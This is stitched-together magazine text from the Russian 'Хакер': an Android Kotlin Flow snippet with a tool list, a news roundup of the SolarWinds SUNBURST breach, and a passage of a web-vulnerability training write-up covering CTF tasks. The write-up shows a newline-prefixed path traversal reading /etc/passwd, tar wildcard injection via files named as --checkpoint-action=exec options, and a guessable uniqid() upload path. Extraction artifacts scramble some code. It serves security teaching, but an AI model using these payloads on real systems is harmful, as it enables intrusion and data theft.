     private fun initListeners() {
     editText_name.addTextChangedListener {
       viewModel.setFirstName(it.toString())
   }
     editText_password.addTextChangedListener {
       viewModel.setPassword(it.toString())
   }
     editText_user.addTextChangedListener {
       viewModel.setUserId(it.toString())
   }
}

А  сос тояние  кноп ки Submit  при вязать  к  получен ному  в  резуль тате  пре обра‐ 
зова ния Flow:

     private fun collectFlow() {
     lifecycleScope.launch {

            viewModel.isSubmitEnabled.collect { value ‐>
              submit_button.isEnabled = value

       }
   }
}

Что дела ет весь этот код? При изме нении любого из полей вво да будет авто‐ 
мати чес ки изме нено зна чение одно го из трех StateFlow. Это, в свою оче редь,
пов лечет за собой запуск фун кции  , которая в ито ге выпус тит новое
зна чение в поток  . На это дей ствие сре аги рует  код внут ри
фун кции  . В ито ге он изме нит сос тояние кноп ки.

combine
isSubmitEnabled

collectFlow()

ИНСТРУМЕНТЫ

  —  ути лита  для  поис ка  и  изме нения  дан ных  в  памяти  (ана лог
ArtMoney);

• Apk‐medit

 — пла гин VS Code для ревер са и перес борки APK;• APKLab
 — скрипт для рутин га стан дар тно го эму лято ра Android.• RASEv1

БИБЛИОТЕКИ

 — полук руглый прог ресс‐бар;• Speedometer
 — оче ред ная панель управле ния в ниж ней час ти экра‐ 

на;
• NoNameBottomBar

  —  кол лекция  диало гов  в  ниж ней  час ти  экра на:  вре мя,
кален дарь, цвет и про чее;

• Bottom‐sheets

 — биб лиоте ка, поз воля ющая выводить информа цию на экран
нап рямую, исполь зуя пра ва root;

• libCFSurface

 — пат чи для Frida, поз воля ющие избе жать обна руже ния фрей‐ 
мвор ка;

• Strong‐frida

 — кру говое меню;• Circle‐menu
 —  под свет ка  эле мен та  интерфей са  для  обу чающих  экра‐ 

нов;
• onboardingflow

 — биб лиоте ка для фин геприн тинга устрой ств;• fingerprint‐android
  —  биб лиоте ка  на  базе  Kotlin  Flow  для  орга низа ции  получе ния

и кеширо вания дан ных из сети;
• Flower

 — биб лиоте ка для асин хрон ной работы с BLE‐устрой ства ми;• Kable
 — фун кции для раз работ ки при ложе ния на Jetpack Compose;• Accompanist
 — биб лиоте ка для соз дания экра нов нас тро ек;• Simple Settings

 — биб лиоте ка для обра бот ки оши бок.• Belay
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Ха керы ата кова ли ком панию SolarWinds и зарази ли ее плат‐ 
форму Orion мал варью. Мно гие  уже  называ ют  слу чив шееся
самой мас штаб ной ата кой года, в которой, конеч но, подоз‐ 
рева ют рос сий ских пра витель ствен ных хакеров. Сре ди пос‐ 
тра дав ших чис лятся такие гиган ты, как Microsoft, Cisco, Fire‐
Eye,  а  так же  мно жес тво  пра витель ствен ных  агентств  США,
вклю чая  Гос деп  и  Наци ональ ное  управле ние  по  ядер ной
безопас ности. Одна ко «спис ки жертв» попол няют ся каж дый
день,  а  экспер ты  делят ся  все  новыми  деталя ми  слу чив‐ 
шегося.  В  этом  матери але  мы  соб рали  все,  что  извес тно
о взло ме SolarWinds на сегод няшний день.

АТАКУ ЗАМЕТИЛИ
В  середи не  декаб ря  2020  года  круп ные  запад ные  СМИ,  вклю чая  Reuters,
Washington  Post  и Wall  Street  Journal,  неожи дан но  сооб щили,  что  аме рикан‐ 
ские  влас ти  ста ли  жер твой  мас штаб ной  ата ки  пра витель ствен ных  хакеров.
Жур налис ты  писали,  что  в  резуль тате  инци ден та  были  ском про мети рова ны
как минимум Минис терс тво финан сов США и Наци ональ ная адми нис тра ция
по информа тике и телеком муника циям при Минис терс тве тор говли США.

Га зета  Washington  Post  ссы лалась  на  собс твен ные  источни ки,  сог ласно
которым от атак пос тра дали и мно гие дру гие пра витель ствен ные учрежде ния
в США (это ока залось прав дой, но под робнее чуть ниже). Агентство Reuters,
в свою оче редь, писало, что инци дент был приз нан нас толь ко серь езным, что
в Белом доме соз вали экс трен ное заседа ние Совета наци ональ ной безопас‐ 
ности США.

Вско ре пос ле этих пуб ликаций собс твен ный   обна‐ 
родо вали  пред ста вите ли ИБ‐ком пании  FireEye  и  тем  самым  толь ко  под лили
мас ла в огонь. Дело в том, что сама FireEye тоже ока залась в чис ле пос тра‐ 
дав ших и, мож но ска зать, иссле дова тели изу чали слу чив шееся «изнутри».

от чет о про изо шед шем

Из  отче та  FireEye  ста ло  понят но,  что  неиз вес тные  зло умыш ленни ки
доволь но дав но  ском про мети рова ли ИТ‐ком панию SolarWinds,  которая раз‐ 
рабаты вает  для  пред при ятий  ПО,  помога ющее  управлять  их  сетями,  сис‐ 
темами  и  инфраструк турой.  Про ник нув  в  сеть  SolarWinds,  зло умыш ленни ки
снаб дили  плат форму  Orion,  пред назна чен ную  для  цен тра лизо ван ного
монито рин га  и  управле ния,  вре донос ным  обновле нием.  В  резуль тате  мно‐ 
жес тво  кли ентов  SolarWinds  уста нови ли  заражен ную  вер сию  плат формы  и,
сами того не зная, впус тили хакеров в свои сети.

Ском про мети рован ными  офи циаль но  приз наны  вер сии  2019.4  HF  5,
2020.2 (без исправ ления) и 2020.2 HF 1.

Де ло  осложни лось  тем,  что  в  спи сок  кли ентов  SolarWinds  вхо дят
более 400 круп ней ших аме рикан ских ком паний из спис ка Fortune 500, а так же
мно гие  пра витель ствен ные  учрежде ния,  бан ки,  медицин ские  заведе ния
и более мел кие биз несы.

КАК ВЗЛОМАЛИ?
Офи циаль ные пред ста вите ли SolarWinds пока не сде лали post mortem отчет
об  инци ден те  (для  это го  еще  слиш ком  рано),  поэто му  точ но  неиз вес тно,
как имен но  хакеры сумели про ник нуть  в  сеть  ком пании. Одна ко пос ле  того,
как  об  ата ке  ста ло  широко  извес тно,  мно гие  СМИ  обра тили  вни мание
на  заяв ления  ИБ‐иссле дова теля  Винота  Кумара  (Vinoth  Kumar),  который
утвер ждал,  буд то  учет ные  дан ные  от  сер вера  обновле ний  SolarWinds
еще в 2018 году были сво бод но дос тупны в офи циаль ном репози тории ком‐ 
пании на GitHub. По сло вам Кумара, он заметил эту утеч ку в нояб ре, а пароль
от сер вера был эле мен тарным: solarwinds123.

Ку мар  писал,  что,  исполь зуя  эти  учет ные  дан ные,  он  сумел  заг рузить  файл
на сер вер ком пании и  тем самым доказал,  что сис тема небезо пас на, о чем
и  уве домил  SolarWinds  еще  в  нояб ре  2020  года.  В  ито ге  утеч ку  устра‐ 
нили 22 нояб ря.

Ис сле дова тель  не  утвер ждал,  что  имен но  эти  учет ные  дан ные  сыг рали
какую‐то роль во взло ме плат формы Orion, одна ко приз навал, что такое воз‐ 
можно. Дело в  том,  что  вре донос ные бинар ники Orion были под писаны,  что
явс твен но намека ло на более широкую ком про мета цию сети ком пании.

«Если  бы  они  получи ли  дос туп  к  билд‑сер верам,  им  не  пот ребова- 
лись  бы  учет ные  дан ные  от  FTP.  Но  если  бы  они  прос то  зав ладели
сер тифика том под писи и учет ными дан ными от FTP, они мог ли изме- 
нить  .dll,  под писать  его  и  заг рузить  на  FTP-сер вер»,  —  рас суждал
Кумар.

Те орию  утек ших  учет ных  дан ных  и  халат ности  в  целом  под твержда ют
и источни ки информа цион ного агентства Reuters, по дан ным которых, в дар‐ 
кне те уже дав но про дава ли дос тупы к сис темам SolarWinds.

Об этом же сооб щили и ана лити ки ком пании Group‐IB. По их информа ции,
хакер из Казах ста на, извес тный как  , еще в октябре 2017 года про давал
дос тупы  к  http://solarwinds.com  и  http://dameware.com  (прог рам мное  обес‐ 
печение  дис танци онно го  управле ния  от  SolarWinds)  на  извес тном  андегра‐ 
ундном форуме exploit.in. При чем эти ком пании были одни ми из пер вых, дос‐ 
тупы к которым Fxmsp выс тавил на про дажу в паб лике.

Fxmsp

МАЛВАРЬ
Сог ласно  мно гочис ленным  отче там  ИБ‐экспер тов,  зло умыш ленни ки  внед‐ 
рили бэк дор  в  легитим ный DLL‐файл  плат формы Orion — SolarWinds.Orion.‐
Core.BusinessLayer.dll.  Дан ная  мал варь  получи ла  кодовое  имя  SUNBURST
(или же Solorigate), а деталь ные отче ты о ней уже под готови ли  , 

,  Агентство  по  кибер безопас ности  и  защите  инфраструк туры,  орга низо‐ 
ван ное при Минис терс тве внут ренней безопас ности США ( ), и мно‐ 
гие дру гие.

Microsoft Fire‐
Eye

DHS CISA

Про ник нув  в  сис тему,  SUNBURST  под клю чал ся  к  управля юще му  сер веру
на  avsvmcloud.com  и  получал  «задания»  для  выпол нения  на  заражен ном
компь юте ре.  Точ но  неиз вес тно,  какие  имен но  коман ды  пос тупали  мал вари
от  опе рато ров,  но  это  мог ло  быть  что  угод но  —  от  уда лен ного  дос тупа
к заражен ным сис темам до заг рузки и уста нов ки допол нитель ных вре донос‐ 
ных прог рамм или хищения дан ных.

По  информа ции  Yahoo!News,  зло умыш ленни ки  опро бова ли  такой  метод
рас простра нения мал вари еще в октябре 2019 года. Прос то во вре мя проб‐ 
ного запус ка файл DLL не содер жал SUNBURST. Сам бэк дор, судя по все му,
начали  рас простра нять  в  мар те  2020  года,  а  про ник нув  в  сети  жертв,  зло‐ 
умыш ленни ки нес коль ко месяцев избе гали обна руже ния, собирая информа‐ 
цию и не прив лекая к себе вни мания.

По  дан ным  СМИ,  даже  сот рудни ки  FireEye  замети ли  взлом  лишь  пос ле
того,  как  хакеры  зарегис три рова ли  свое  устрой ство  в  сис теме  мно гофак‐ 
торной аутен тифика ции ком пании с исполь зовани ем укра ден ных учет ных дан‐ 
ных.

Схе ма ата ки по вер сии ана лити ков Microsoft

Ин терес но и то, что в отче тах ИБ‐экспер тов упо мина лись и две дру гие полез‐ 
ные наг рузки. Так, ана лити ки ком паний  ,    и 

  под робно  опи сыва ют,  что  зло умыш ленни ки  внед ряли  в  заражен ные
сети .NET веб‐шелл под наз вани ем Supernova. Иссле дова тели полага ли, что
хакеры  при меня ли  Supernova  для  заг рузки,  ком пиляции  и  выпол нения  вре‐ 
донос ного PowerShell‐скрип та (который наз вали CosmicGale).

Guidepoint Symantec Palo Alto Net‐
works

Од нако в ито ге  экспер ты Microsoft  приш ли  к  выводу,  что Supernova была
частью дру гой ата ки и никак не свя зана с мас штаб ной ата кой на цепоч ку пос‐ 
тавок.  В  ком пании  счи тают,  что  веб‐шелл  Supernova  был  внед рен  в  пло хо
защищен ные  уста нов ки SolarWinds Orion,  которые были  уяз вимы  перед  ста‐ 
рой проб лемой CVE‐2019‐8917. И это сде лали дру гие зло умыш ленни ки.

Пу тани ца воз никла из‐за того, что, рав но как и SUNBURST, Supernova была
замас кирова на под DLL для при ложе ния Orion: SUNBURST был скрыт внут ри
фай ла SolarWinds.Orion.Core.BusinessLayer.dll, а Supernova внут ри App_Web_l‐
ogoimagehandler.ashx.b6031896.dll.  Одна ко,  в  отли чие  от  SUNBURST  DLL,
файл Supernova DLL не был под писан легитим ным сер тифика том SolarWinds.
В  ито ге  экспер ты Microsoft  убеж дены,  что  эта мал варь  не  име ет  отно шения
к  ата ке  на  цепоч ку  пос тавок  и  вооб ще  при над лежит  дру гой  хак‐груп пе,  что
тоже харак теризу ет безопас ность про дук ции SolarWinds не луч шим обра зом.

РУБИЛЬНИК
Эк спер ты Microsoft, в сот рудни чес тве с GoDaddy и дру гими ком пани ями‐пар‐ 
тне рами,  акти виро вали  сво еоб разный  ава рий ный  «рубиль ник»  для  мал вари
SUNBURST, хотя бы отчасти обе зопа сив пос тра дав ших.

Де ло  в  том,  что  это  чем‐то  похоже  на  слу чай  нашумев шего шиф роваль‐ 
щика WannaCry: в самом начале работы SUNBURST обра щает ся к под домену
avsvmcloud.сom  для  получе ния  заданий.  Если  же  эта  попыт ка  свя зи  не  уда‐ 
лась и IP‐адрес резол вится в диапа зоне из спис ка ниже, мал варь деак тивиру‐ 
ется.

10.0.0.0/8•
172.16.0.0/12•
192.168.0.0/16•
224.0.0.0/3•
fc00:: ‐ fe00::•
fec0:: ‐ ffc0::•
ff00:: ‐ ff00::•
20.140.0.0/15•
96.31.172.0/24•
131.228.12.0/22•
144.86.226.0/24•

В ито ге спе циалис ты соз дали wildcard DNS, что бы любая попыт ка SUNBURST
уста новить  связь  с  управля ющим  сер вером  резол вилась  на  IP‐
адрес  20.140.0.1,  который  при над лежит  Microsoft.  Так  как  этот  IP‐адрес
занесен  в  чер ный  спи сок  мал вари,  при  под клю чении  к  любому  под домену
avsvmcloud.com бэк дор выг ружа ется и боль ше не запус кает ся.

Впро чем, экспер ты отме чают, что зло умыш ленни ки мог ли успеть внед рить
в  сети  пос тра дав ших  ком паний  и  дру гие  вре доно сы,  так  что  акти вация
«рубиль ника», к сожале нию, в этих слу чаях уже не поможет.

ВИНОВНЫЕ?
Ис точни ки изда ния Washington Post, которое сооб щило об инци ден те одним
из  пер вых,  свя зыва ют  дан ную ата ку  с  извес тной рус ско языч ной  хак‐груп пой
APT29 (она же Cozy Bear и Dukes), которая, как счи тают экспер ты, дей ству ет
под эги дой рос сий ских влас тей.

При  этом  нуж но  ска зать,  что  спе циалис ты  ком паний  FireEye  и  Microsoft,
изу чив шие  инци дент  дос кональ но,  не  сооб щили  ничего  о  воз можной  атри‐ 
буции  ата ки.  Вмес то  это го  FireEye  прис воила  груп пиров ке  ней траль ное
кодовое  имя  UNC2452  и  заяви ла,  что  ата ка  не  была  нацеле на  кон крет но
на США:

«Дан ная  кам пания  широко  рас простра нена  и  зат рагива ет  государс- 
твен ные и час тные орга низа ции по все му миру. Сре ди пос тра дав ших
были  государс твен ные,  кон салтин говые,  тех нологи чес кие,  телеком- 
муника цион ные и добыва ющие ком пании в Север ной Аме рике, Евро- 
пе, Азии и на Ближ нем Вос токе. Мы ожи даем, что в будущем появит ся
информа ция  о  дру гих  пос тра дав ших  в  дру гих  стра нах  мира  и  сек- 
торах», — писали ана лити ки FireEye.

В свою оче редь, спе циалис ты ком пании Volexity и вов се свя зыва ют эту вре‐ 
донос ную кам панию с груп пиров кой  , чью активность экспер ты фик‐ 
сирова ли с кон ца 2019 года по июль 2020 года.

Dark Halo

Как бы то ни было, на обви нения, опуб ликован ные на стра ницах Washing‐
ton  Post  и  дру гих  изда ний,  опе ратив но  отре аги рова ло  посоль ство  Рос сии
в  США,  заявив,  что  «нападе ния  в  информа цион ном  прос транс тве  про тиво‐ 
речат  внеш неполи тичес ким  прин ципам  нашей  стра ны,  ее 
инте ресам и понима нию того, как выс тра ивают ся отно шения меж ду государс‐ 
тва ми. Рос сия не про водит „нас тупатель ных“ опе раций в вир туаль ной сре де».

национальным

Ра зуме ется, не оста вили без вни мания взлом SolarWinds и полити ки. В час‐ 
тнос ти, гос секре тарь США Майк Пом пео пуб лично заявил, что за этой ата кой
«совер шенно  оче вид но»  сто ит  Рос сия,  но  поз же  пре зидент  США  Дональд
Трамп  написал  в  сво ем  Twitter  обратное.  Трамп  сооб щил,  что  он  был  про‐ 
информи рован  о  про исхо дящем,  но  кибера таки  чаще  встре чают ся  в  фей‐ 
ковых новос тях, нежели в реаль нос ти, а Рос сию вспо мина ют, что бы ни слу‐ 
чилось, хотя, по мне нию Трам па, за этой ата кой вооб ще может сто ять Китай.

В  свою  оче редь,  избран ный  пре зидент  США  Джо  Бай ден  рас кри тико вал
адми нис тра цию Трам па за отсутс твие офи циаль ной реак ции на взлом Solar‐
Winds, а так же за то, что пра витель ство мол чит об атри буции дан ной ата ки.

ПОСТРАДАВШИЕ
Сог ласно офи циаль ным дан ным, сре ди 300 тысяч кли ентов SolarWinds толь‐ 
ко 33 тысячи исполь зовали Orion, а заражен ная вер сия плат формы была уста‐ 
нов лена при мер но у 18 тысяч кли ентов.

По  информа ции  FireEye,  нев зирая  на  ком про мета цию  18  тысяч  кли ентов
SolarWinds, хакеры про дол жили ата ку лишь на сети 50 ком паний, а экспер ты
Microsoft, в свою оче редь, писали о том, что сумели иден тифици ровать око‐ 
ло  40  пос тра дав ших  из  чис ла  сво их  кли ентов. Microsoft  сооб щила,  что  80%
всех зат ронутых орга низа ций находят ся в США, а осталь ные рас сре дото чены
по  семи  дру гим  стра нам,  а  имен но  Бель гии,  Великоб ритании,  Изра илю,
Испа нии, Канаде, Мек сике и ОАЭ.

При чем  государс твен ный  сек тор —  это  лишь  неболь шая  часть  от  все го
спис ка  жертв.  Так,  44%  пос тра дав ших  —  это  ИТ‐ком пании  (раз работ чики
прог рам мно го обес печения и пос тавщи ки обо рудо вания).

В  нас тоящее  вре мя  спи сок  под твержден ных  пос тра дав ших  выг лядит  сле‐ 
дующим обра зом:

аме рикан ская ИБ‐ком пания FireEye;•
Ми нис терс тво финан сов США;•
На циональ ная  адми нис тра ция  по  информа тике  и  телеком муника циям
при Минис терс тве тор говли США (NTIA);

•

На циональ ные  инсти туты  здо ровья  при  Минис терс тве  здра воох ранения
США (NIH);

•

Агентство по кибер безопас ности и защите инфраструк туры, орга низо ван‐ 
ное при Минис терс тве внут ренней безопас ности США (DHS CISA);

•

Ми нис терс тво внут ренней безопас ности (DHS);•
Го сударс твен ный депар тамент США;•
На циональ ное управле ние по ядер ной безопас ности США (NNSA);•
Ми нис терс тво энер гетики США;•
ряд шта тов и городов США;•
ком пания Microsoft;•
ком пания Cisco.•

Так же,  сог ласно  резуль татам  собс твен ного  рас сле дова ния  The  Wall  Street
Journal,  ата ка  зат ронула  таких  гиган тов,  как  Intel,  NVIDIA,  VMware  и  Belkin
International.

Из началь но  счи талось,  что  выявить  всех  жертв  этой  вре донос ной  кам‐ 
пании смо гут толь ко сами спе циалис ты SolarWinds, но по мере того, как дру‐ 
гие экспер ты про дол жали изу чать работу SUNBURST, они обна ружи ли некото‐ 
рые  осо бен ности.  Нап ример,  свя зан ные  с  тем,  как  она  работа ет  со  сво им
управля ющим сер вером.

Вы ясни лось, что SUNBURST отправ ляет дан ные, соб ранные в заражен ной
сети,  на  URL‐адрес  сво его  C&C‐сер вера,  уни каль ный  для  каж дой  жер твы.
Уни каль ные  URL‐адре са  были  под домена ми  avsvmcloud.com  и  сос тояли
из четырех час тей, пер вая из которых пред став ляла собой на пер вый взгляд
слу чай ную стро ку. Одна ко ско ро ИБ‐иссле дова тели поняли, что име ют дело
с алго рит мом DGA и эта стро ка на самом деле не была слу чай ной, а содер‐ 
жала закоди рован ное имя домена локаль ной машины жер твы.

В резуль тате сра зу нес коль ко ком паний и незави симых иссле дова телей взя‐ 
лись ана лизи ровать исто рию тра фика и дан ные passive DNS, что бы соб рать
информа цию  о  тра фике  avsvmcloud.com,  обна ружить  под домены,  а  затем
вычис лить ком пании, которые уста нови ли заражен ные вер сии Orion.

Та ким обра зом, пуб ликацию спис ков пос тра дав ших ком паний и орга низа ций
уже  начали  экспер ты  из  ком паний  Truesec  и  Prevasio,  незави симый  иссле‐ 
дова тель Деван Чауд хари  (Dewan Chowdhury),  а  так же  китай ская фир ма QI‐
ANXIN. Спи сок, сос тавлен ный экспер тами Truesec, мож но най ти ниже.

mailto:nefedova@glc.ru
https://www.fireeye.com/blog/products-and-services/2020/12/global-intrusion-campaign-leverages-software-supply-chain-compromise.html
https://xakep.ru/2020/07/09/fxmsp-deanon/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://cyber.dhs.gov/ed/21-01/
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds
https://unit42.paloaltonetworks.com/solarstorm-supernova/
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
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ВЗЛОМ

«Хакер»  пери оди чес ки  пишет  о  том,
как  работа ют  те  или  иные  уяз вимос ти
в  движ ках  сай тов  и  раз ных  ком понен тах.
В этом матери але я раз беру четыре задачи
и  на  их  при мерах  покажу,  как  самому
находить баги в коде веб‐при ложе ний.

INFO

Эта статья — кон спект вебина ра по веб‐уяз вимос‐ 
тям, который я про водил для читате лей «Хакера».
В кон це будет при веде на его запись, где ты смо‐ 
жешь уви деть то, что не попало в тек сто вую вер‐ 
сию.  Если  тебе  инте рес ны  такие  темы  и  ты  бы
хотел  разоб рать ся  в  них  глуб же, 

!
за писы вай ся

на мой курс по безопас ности веб‐при ложе ний

Сра зу  пре дуп режу,  что  боль шинс тво  задач,  которые  мы  сегод ня  раз берем,
будут  на  язы ке  PHP.  Оно  нес прос та  —  подав ляющее  боль шинс тво  сай тов
и сер висов в интерне те написа ны имен но на нем. Так что, нес мотря на под‐ 
порчен ную репута цию это го язы ка, тебе при дет ся раз бирать ся в нем, что бы
хакерс тво вать  серь езно.  Сей час  же,  в  рам ках  это го  занятия,  зна ние  PHP
не явля ется необ ходимостью, но, конеч но, будет очень серь езным под спорь‐ 
ем.

Впро чем,  боль шинс тво  уяз вимос тей  не  при вяза ны  к  кон крет ному  язы ку
или  сте ку  тех нологий,  так  что,  узнав  их  на  при мере  PHP,  ты  лег ко  смо жешь
экс плу ати ровать подоб ные баги и в ASP.NET, и в каком‐нибудь Node.JS.

А еще пре дуп режу, что задач ки, которые мы сегод ня раз берем, не сов сем
началь ного уров ня и сов сем уж «вален кам» тут делать нечего — сна чала сто ит
почитать  мат часть  и  хоть  нем ного  пред став лять,  с  чем  хочешь  иметь  дело.
Если  же  ты  можешь  отли чить  HTTP  от  XML  и  у  тебя  не  воз ника ет  воп росов
вида «а что за дол лары в коде?», то доб ро пожало вать!

WARNING

Ни  автор  кур са,  ни  редак ция  «Хакера»  не  несут
ответс твен ности  за  твои  дей ствия.  При мене ние
матери алов  этой  статьи  про тив  любой  сис темы
без  раз решения  ее  вла дель ца  прес леду ется
по закону.

Се год ня мы раз берем нес коль ко задач,  которые я решал сам в рам ках тре‐ 
ниров ки. Воз можно, они покажут ся  тебе слож ными, но не пугай ся — всег да
есть  воз можность  отто чить  свои  навыки  на    спе циали‐ 
зиро ван ных  сай тах  для  хакеров.  Я  сей час  говорю  о    и  ,
которы ми  поль зуюсь  сам  и  вся чес ки  советую  дру гим.  Две  из  сегод няшних
задач взя ты имен но отту да.

сай тах  пра витель ств
HackTheBox Root‐me

ЗАДАЧА 1
Сна чала я при веду код, с которым мы сей час будем работать.

<?php
   $file = rawurldecode($_REQUEST['file']);
     $file = preg_replace('/^.+[\\\\\\/]/', $file);

include("/inc/{$file}");
?>

По сути, тут все го три стро ки кода. Казалось бы, где тут может зак расть ся уяз‐ 
вимость?

Что бы это понять, давай раз берем алго ритм, который здесь реали зован.
Вооб ще,  при  ауди те  кода  сто ит  уметь  читать  его  пос троч но.  Тог да  про ще
понять, что имен но может пой ти не так.
1. Сна чала  в  перемен ную    помеща ется  параметр    из  URL‐зап‐ 
роса. Если URL имел вид  , то

 будет содер жать  .

$file file
https://xakep.ru/example?file=test.php

$_REQUEST['file'] test.php
2. За тем  резуль тат  валиди рует ся.  Это  нуж но,  что бы  нель зя  было  передать
пос ледова тель нос ти  вида    и  про читать  чужие
фай лы. Безопас ность реали зова на регуляр кой: в выход попадет все пос ле
пос ледне го  сле ша,  то  есть  оста нет ся  толь ко  ,  которо го,  конеч но,
в рабочей пап ке не ока жет ся.

../../../../etc/passwd

passwd

3. В кон це очи щен ное имя фай ла под став ляет ся в путь и заг ружа ется файл
с этим име нем. Ничего пло хого.

Итак, что может пой ти не по пла ну?
Как  ты  уже,  конеч но,  догадал ся  —  проб лема  в  фун кции  очис тки  вво да

(которая  ). Давай обра тим ся  к пер вой попав шей ся 
по регуляр ным выраже ниям.

preg_replace шпар галке

Шпар галка

Тут пря мо написан ответ, как обой ти защиту (под сказ ка: ищи спра ва).
Ви дишь точ ку? А шапоч ку ( )? Та стро ка чита ется как «если в начале стро‐ 

ки находит ся любое количес тво любых сим волов,  ,
и это закан чива ется сле шем, уда лить соот ветс тву ющую часть стро ки».

^
кро ме перено са стро ки

Клю чевое  тут  «кро ме  перено са  стро ки».  Если  в  начале  стро ки  будет
перенос  стро ки  —  регуляр ка  не  отра бота ет  и  вве ден ная  стро ка  попадет
в   без филь тра ции.include()

INFO

На самом деле нор маль ные PHP‐шни ки так фай‐ 
лы не под гру жают. Рас смот ренная задача — прос‐ 
то  при мер,  хотя,  по  лич ному  опы ту,  даже  такие
без надеж но небезо пас ные прог раммы до сих пор
неред ко  встре чают ся.  В  край нем  слу чае,  мож но
поп робовать  най ти  под домены  вида 

  или  ,
на которых порой кру тят ся вер сии сай та десяти‐ 
лет ней  дав ности  с  хрес томатий ными  уяз вимос‐ 
тями.

old.com‐
pany.com oldsite.company.com

Собс твен но  при мер  чте ния  фай ла: 
.

http://test.host/lfi.php?
file=%0a../../../../etc/passwd

Ре зуль тат

ЗАДАЧА 2
Это   с root‐me, где ты, воз можно, уже видел ее. Но мы все рав но рас‐ 
смот рим ее под робнее — она отно сит ся к реалис тичным, и шан сы встре тить
что‐то подоб ное в жиз ни немалень кие.

за дач ка

В задании нам дает ся прос той фай лооб менник и про сят получить дос туп
к панели адми на.

Ин терфейс фай лооб менни ка

Ин терфейс край не прост: есть кноп ка заг рузки фай ла на сер вер и прос мотр
заг ружен ных фай лов по пря мым ссыл кам. Забегая впе ред, ска жу, что гру зить
скрип ты на PHP, bash и про чие — бес полез но, про вер ки реали зова ны вер но
и ошиб ка в дру гом мес те.

Об рати  вни мание на ниж нюю часть стра ницы,  а  точ нее — на фра зу  «fre‐
quent backups: this opensource script is launched every 5 minutes for saving your
files». И при веде на ссыл ка на скрипт, вызыва емый каж дые пять минут в сис‐ 
теме.

Да вай гля нем на него прис таль нее:

#!/bin/bash

     BASEPATH=$(dirname `readlink ‐f "$0"`)
 BASEPATH=$(dirname "$BASEPATH")

 cd "$BASEPATH/tmp/upload/$1"
cvf   tar  "$BASEPATH/tmp/save/$1.tar" *

Ка залось бы — что тут такого? На парамет ры ты вли ять не можешь, а ман тру
при зыва tar вооб ще зна ешь как свои пять паль цев. А проб лема в самой ман‐ 
тре: тут она написа на не пол ностью. Точ нее, не в том виде, как ее уви дит сам
tar.

Что  дела ет  звез дочка?  Вмес то  нее  bash  под ста вит  име на  всех  фай лов
в текущей пап ке. Вро де ничего кри миналь ного.

А давай обра тим ся к  , который нам любез но пре дос тавлен
вмес те с усло вием задачи.

ма нуалу на Tar

Ин терес ности в Tar

Вот это мес то пред став ляет для нас самый боль шой инте рес. Дело в том, что
tar име ет нес коль ко осо бых воз можнос тей для гиб кого монито рин га про цес‐ 
са  архи вации  со  сто роны.  Это  дос тига ется  с  помощью  так  называ емых
чек‐пой нтов,  у  которых  могут  быть  свои  опре делен ные  дей ствия.  Одно
из дей ствий —  , которое при дос тижении чек‐пой нта выпол нит
коман ду   с помощью стан дар тно го шел ла.

exec=command
command

Те перь вспом ним про звез дочку: вмес то нее шелл  (bash) под ста вит спи‐ 
сок  всех фай лов  в  текущей  пап ке,  при  этом  они могут  иметь  любые  име на.
В том чис ле такие, которые будут вос при няты архи вато ром как спе циаль ные
парамет ры.

Та ким обра зом, нам надо под сунуть фай лы с име нами в виде аргу мен тов
tar.  Я  исполь зовал  такие:  , 

  (пус тые)  и    (полез ная  наг рузка).  В    находит ся
сле дующий код:

‐‐checkpoint=1 ‐‐checkpoint‐action=exec=sh 
shell.sh shell.sh shell.sh

#!/bin/sh
 ../../../admin/index.php ./ cp

Прос то заголо вок и коман да копиро вания админ ской панели в текущую пап‐ 
ку. Естес твен но,  тут мог быть реверс‐шелл или еще что‐то,  но для решения
кон крет но этой задачи такая «тяжелая артилле рия» не нуж на.

Те перь  дожида емся  выпол нения  нашего шел ла —  и  уви дим  в  окне фай‐ 
лооб менни ка  файл  админ‐панели  в  виде  прос того  тек ста.  Оста лось  толь ко
открыть его и най ти там пароль!

Па роль в чис том виде

Продолжение статьи →
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ЗАДАЧА 3
Тут у нас пла гин для WordPress, который поз воля ет запись аудио и видео.

Я не буду про сить тебя най ти уяз вимость, а сра зу покажу ее.

Уяз вимое мес то

Как  вид но  из  строк  247–251  на  скрин шоте,  не  пре дус мотре но  никаких  про‐ 
верок на тип или содер жимое фай ла — это прос то клас сичес кая заг рузка!

Есть,  прав да,  огра ниче ние:  файл  гру зит ся  в  стан дар тную  дирек торию
WordPress ( ). Это зна чит,
что  лис тинг  содер жимого  нам  по  умол чанию  недос тупен.  А  в  стро‐ 
ке  247  генери рует ся  слу чай ный  иден тифика тор,  который  под став ляет ся
в  начало  име ни  фай ла,  то  есть  обра тить ся  к 

 уже не вый дет. Непоря док!

/wordpress/wp‐content/uploads/{YEAR}/{MONTH}

/wordpress/wp‐content/up‐
loads/2021/01/shell.php

Но  непоря док  не  в  том,  что  имя  фай ла  меня ется,  а  в  том,  что  дела ется
это с помощью фун кции  . Обра тим ся к  :uniqid() до кумен тации

По луча ет  уни каль ный  иден тифика тор  с  пре фик сом,  осно ван ный
на текущем вре мени в мик росекун дах.

<…>
.  Эта  фун кция  не  гаран тиру ет  получе ния  уни каль ного

зна чения.  Боль шинс тво  опе раци онных  сис тем  син хро низи рует  вре мя
с NTP либо его ана лога ми, так что сис темное вре мя пос тоян но меня- 
ется.  Сле дова тель но,  воз можна  ситу ация,  ког да  эта  фун кция  вер нет
неуни каль ный иден тифика тор для про цес са/потока. <…>

Вни мание

Сме каешь?  Уни каль ный  иден тифика тор,  получен ный  с  помощью  ,
не  такой  уж  уни каль ный,  и  это  мож но  про экс плу ати ровать.  Зная  вре мя
вызова, мы можем уга дать воз вра щаемое зна чение   и узнать реаль‐ 
ный путь к фай лу!

uniqid()

uniqid()

Так  как PHP — про ект откры тый, мы можем под смот реть исходни ки фун‐ 
кций  стан дар тной  биб лиоте ки.  Откры ваем  исходник    ,
перехо дим к стро ке 76 и наб люда ем сле дующее:

uniqid() на  GitHub

           uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

Что тут про исхо дит? А то, что воз вра щаемое зна чение зависит исклю читель но
